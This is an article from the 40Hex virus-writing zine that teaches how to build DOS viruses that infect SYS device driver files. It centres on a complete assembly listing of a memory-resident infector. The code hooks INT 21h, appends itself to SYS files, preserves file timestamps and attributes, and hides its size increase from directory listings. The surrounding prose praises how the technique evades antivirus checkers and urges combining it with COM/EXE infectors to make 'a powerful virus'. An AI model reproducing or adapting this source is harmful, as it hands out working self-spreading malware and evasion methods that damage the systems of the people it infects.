Copy Link
Add to Bookmark
Report
40Hex Issue 09 File 002
40Hex Number 9 Volume 2 Issue 5 File 002
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
An Introduction to Nonoverwriting Viruses
Part III: SYS Infectors
By Dark Angel
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The SYS file is the most overlooked executable file structure in DOS.
Viruses are quite capable of infecting SYS files, as DOS kindly allows for
such extensions to this file format.
The SYS file is loaded beginning at offset 0 of a particular segment.
It consists of a header followed by code. SYS files may be chained
together after a simple modification in the header. This is the key to
infecting SYS files.
There are two types of device drivers; block and character. Block
devices include floppy, hard, and virtual disks, i.e. any media which can
store data. Character devices include printers, modems, keyboard, and the
screen. The virus will generally be a character device, as it reduces
complexity.
The header structure is straightforward:
Offset Size Description
------ ---- -----------
0h DWORD Pointer to next header
4h WORD Attribute
6h WORD Pointer to strategy routine
8h WORD Pointer to interrupt routine
0Ah QWORD Name of the device driver
The pointer to the next device driver header appears at offset zero in the
header. This is a far pointer consisting of a segment:offset pair. If the
current device is the only device appearing in the SYS file, then this
pointer should be set to FFFF:FFFF. However, if there are two or more
device drivers contained in the file, then the offset field should be equal
to the absolute location of the next device in the file. The segment field
should remain FFFF. For example, if a second device driver occurs at
offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300 The
second (and all other) device driver must contain a new header as well.
The next field contains the attribute of the device driver. Bit 15
determines the nature of the device driver. If bit 15 is set, then the
device driver header corresponds to a character device; otherwise, the
device is a block device. You need not concern yourself with any of the
other bits; they may remain cleared.
Before the next two fields may be understood, it is necessary to introduce
the concept of the request header. The request header contains DOS's
requests of the device driver. For example, DOS may ask for initialisation
or a read or even a status check. The information needed by the device
driver to interpret the request is all contained in the request header. It
is passed to the strategy routine by DOS as a far pointer in ES:BX. The
job of the strategy routine is to save the pointer for use by the interrupt
routine. The interrupt routine is called by DOS immediately after the
strategy routine. This routine processes the request in the header and
performs the appropriate actions.
The word-length pointers in the SYS header to the strategy and interrupt
routines are relative to the start of the SYS file. So, if the strategy
routine resides in absolute offset 32h in the file, then the field
containing the location of the strategy routine would hold the number 32h.
The name field in the SYS header simply holds an 8 byte device name. For
example, 'NUL ' and 'CLOCK$ ' are two common DOS devices. The name
should be justified with space characters (0x20).
By using DOS's feature of chaining SYS files, we may easily infect
this type of file. No bytes need to be saved. There are but two steps.
The first is to concatenate the virus to the target file. The second is to
alter the first word of the SYS file to point to the virus header. The
only trick involved is writing the SYS interrupt routine. The format of
the request header is:
Offset Size Description
------ ---- -----------
0h BYTE Length of request header (in bytes)
1h BYTE Unit code (for block devices)
2h BYTE Command code
3h WORD Status
5h QWORD Reserved by DOS
0Dh Var. Data for the operation
Only one command code is relevant for use in the virus. Upon
initialisation of the device driver, DOS will send a request header with 0
in the command code field. This is the initialisation check. The format
of the variable sized field in the request header in this case is:
Offset Size Description
------ ---- -----------
0Dh BYTE Number of units (ignored by character devices)
0Eh DWORD Ending address of resident program code
12h DWORD Pointer to BPB aray (ignored by character devices)
16h BYTE Drive number (irrelevant in character devices)
The only relevant fields are at offset 3 and 0Eh. Offset 3 holds the
status word of the operation. The virus fills this in with the appropriate
value. Generally, the virus should put a value of 100h in the status word
in the event of a successful request and a 8103h in the status word in the
event of a failure. The 8103h causes DOS to think that the device driver
does not understand the request. A value of 8102h should be returned in
the event of a failed installation. Offset 0Eh will hold the address of
the end of the virus (include the heap!) in the event of a successful
installation and CS:0 in the event of a failure.
Basically, the strategy routine of the virus should contain a simple
stub to save the es:bx pointer. The interrupt routine should fail all
requests other than initialisation. It should perform an installation if
the virus is not yet installed and fail if it is already in memory
(remember to set offset 0eh to cs:0).
A sample infector with very limited stealth features follows. While it is
somewhat large, it may be easily coupled with a simple COM/EXE infection
routine to create a powerful virus. It is a SYS-only, memory resident
infector.
---------------------------------------------------------------------------
.model tiny
.code
org 0 ; SYS files originate at zero
; SYS infector
; Written by Dark Angel of Phalcon/Skism
; for 40Hex
header:
next_header dd -1 ; FFFF:FFFF
attribute dw 8000h ; character device
strategy dw offset _strategy
interrupt dw offset _interrupt
namevirus db 'SYS INF ' ; simple SYS infector
endheader:
author db 0,'Simple SYS infector',0Dh,0Ah
db 'Written by Dark Angel of Phalcon/Skism',0
_strategy: ; save es:bx pointer
push si
call next_strategy
next_strategy:
pop si
mov cs:[si+offset savebx-offset next_strategy],bx
mov cs:[si+offset savees-offset next_strategy],es
pop si
retf
_interrupt: ; install virus in memory
push ds ; generally, only the segment
push es ; registers need to be preserved
push cs
pop ds
call next_interrupt
next_interrupt:
pop bp
les bx,cs:[bp+savebx-next_interrupt] ; get request header
pointer
mov es:[bx+3],8103h ; default to fail request
cmp byte ptr es:[bx+2], 0 ; check if it is installation
request
jnz exit_interrupt ; exit if it is not
mov es:[bx+10h],cs ; fill in ending address value
lea si,[bp+header-next_interrupt]
mov es:[bx+0eh],si
dec byte ptr es:[bx+3] ; and assume installation failure
mov ax, 0b0fh ; installation check
int 21h
cmp cx, 0b0fh
jz exit_interrupt ; exit if already installed
add es:[bx+0eh],offset endheap ; fixup ending address
mov es:[bx+3],100h ; and status word
xor ax,ax
mov ds,ax ; ds->interrupt table
les bx,ds:[21h*4] ; get old interrupt handler
mov word ptr cs:[bp+oldint21-next_interrupt],bx
mov word ptr cs:[bp+oldint21+2-next_interrupt],es
lea si,[bp+int21-next_interrupt]
cli
mov ds:[21h*4],si ; replace int 21h handler
mov ds:[21h*4+2],cs
sti
exit_interrupt:
pop es
pop ds
retf
int21:
cmp ax,0b0fh ; installation check?
jnz notinstall
xchg cx,ax ; mark already installed
exitint21:
iret
notinstall:
pushf
db 9ah ; call far ptr This combined with
the
oldint21 dd ? ; pushf simulates an int 21h call
pushf
push bp
push ax
mov bp, sp ; set up new stack frame
; flags [bp+10]
; CS:IP [bp+6]
; flags new [bp+4]
; bp [bp+2]
; ax [bp]
mov ax, [bp+4] ; get flags
mov [bp+10], ax ; replace old flags with new
pop ax ; restore the stack
pop bp
popf
cmp ah, 11h ; trap FCB find first and
jz findfirstnext
cmp ah, 12h ; FCB find next calls only
jnz exitint21
findfirstnext:
cmp al,0ffh ; successful findfirst/next?
jz exitint21 ; exit if not
push bp
call next_int21
next_int21:
pop bp
sub bp, offset next_int21
push ax ; save all registers
push bx
push cx
push dx
push ds
push es
push si
push di
mov ah, 2fh ; ES:BX <- DTA
int 21h
push es ; DS:BX->DTA
pop ds
cmp byte ptr [bx], 0FFh ; extended FCB?
jnz regularFCB ; continue if not
add bx, 7 ; otherwise, convert to regular FCB
regularFCB:
mov cx, [bx+29] ; get file size
mov word ptr cs:[bp+filesize], cx
push cs ; ES = CS
pop es
cld
; The following code converts the FCB to an ASCIIZ string
lea di, [bp+filename] ; destination buffer
lea si, [bx+1] ; source buffer - filename
cmp word ptr [si],'OC' ; do not infect CONFIG.SYS
jz bombout
mov cx, 8 ; copy up to 8 bytes
back: cmp byte ptr ds:[si], ' ' ; is it a space?
jz copy_done ; if so, done copying
movsb ; otherwise, move character to
buffer
loop back
copy_done:
mov al, '.' ; copy period
stosb
mov ax, 'YS'
lea si, [bx+9] ; source buffer - extension
cmp word ptr [si], ax ; check if it has the SYS
jnz bombout ; extension and exit if it
cmp byte ptr [si+2], al ; does not
jnz bombout
stosw ; copy 'SYS' to the buffer
stosb
mov al, 0 ; copy null byte
stosb
push ds
pop es ; es:bx -> DTA
push cs
pop ds
xchg di,bx ; es:di -> DTA
; open file, read/only
call open ; al already 0
jc bombout ; exit on error
mov ah, 3fh ; read first
mov cx, 2 ; two bytes of
lea dx, [bp+buffer] ; the header
int 21h
mov ah, 3eh ; close file
int 21h
InfectSYS:
inc word ptr cs:[bp+buffer] ; if first word not FFFF
jz continueSYS ; assume already infected
; this is a safe bet since
; most SYS files do not have
; another SYS file chained on
alreadyinfected:
sub es:[di+29], heap - header ; hide file size increase
; during a DIR command
; This causes CHKDSK errors
;sbb word ptr es:[di+31], 0 ; not needed because SYS files
; are limited to 64K maximum
bombout:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
pop bp
iret
continueSYS:
push ds
pop es
lea si, [bp+offset header]
lea di, [bp+offset bigbuffer]
mov cx, offset endheader - offset header
rep movsb
mov cx, cs:[bp+filesize]
add cx, offset _strategy - offset header ; calculate offset to
mov word ptr [bp+bigbuffer+6],cx ; strategy routine
add cx, offset _interrupt - offset _strategy;calculate offset to
mov word ptr cs:[bp+bigbuffer+8], cx ; interrupt routine
continueinfection:
mov ax, 4300h ; get file attributes
lea dx, [bp+filename]
int 21h
push cx ; save attributes on stack
push dx ; save filename on stack
mov ax, 4301h ; clear file attributes
xor cx, cx
lea dx,[bp+filename]
int 21h
call openreadwrite
mov ax, 5700h ; get file time/date
int 21h
push cx ; save them on stack
push dx
mov ah, 40h ; write filesize to the old
mov cx, 2 ; SYS header
lea dx, [bp+filesize]
int 21h
mov ax, 4202h ; go to end of file
xor cx, cx
cwd ; xor dx, dx
int 21h
mov ah, 40h ; concatenate header
mov cx, offset endheader - offset header
lea dx, [bp+bigbuffer]
int 21h
mov ah, 40h ; concatenate virus
mov cx, offset heap - offset endheader
lea dx, [bp+endheader]
int 21h
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 21h
mov ah, 3eh ; close file
int 21h
mov ax, 4301h ; restore file attributes
pop cx
pop dx
int 21h
jmp bombout
openreadwrite:
mov al, 2 ; open read/write mode
open: mov ah, 3dh
lea dx,[bp+filename]
int 21h
xchg ax, bx ; put handle in bx
ret
heap:
savebx dw ?
savees dw ?
buffer db 2 dup (?)
filename db 13 dup (?)
filesize dw ?
bigbuffer db offset endheader - offset header dup (?)
endheap:
end header
---------------------------------------------------------------------------
The reason the "delta offset" is needed throughout the file is because
it is impossible to know the exact location where the SYS file will be
loaded into memory. This can be ameliorated by some file padding and fancy
mathematical calculations.
The advantages of using SYS files are manyfold. There is no load high
routine involved apart from the strategy/interrupt routines. This saves
space. SYS files also generally load before TSR virus checkers. TSR
checkers also can't detect the residency routine of the virus, since it is
a normal part of the DOS loading process. The routine for the infection of
the SYS file is ridiculously easy to implement and takes remarkably little
space, so there is no reason not to include SYS support in viruses.
Finally, the memory "loss" reported by CHKDSK usually associated with
memory resident viruses is not a problem with SYS files.
A SYS file infector, when combined with a COM and EXE general
infector, can lead to a powerful virus. Once the first SYS file is
infected, the infected system becomes extremely vulnerable to the virus, as
there is little the user can do to prevent the virus from running, short
of a clean boot.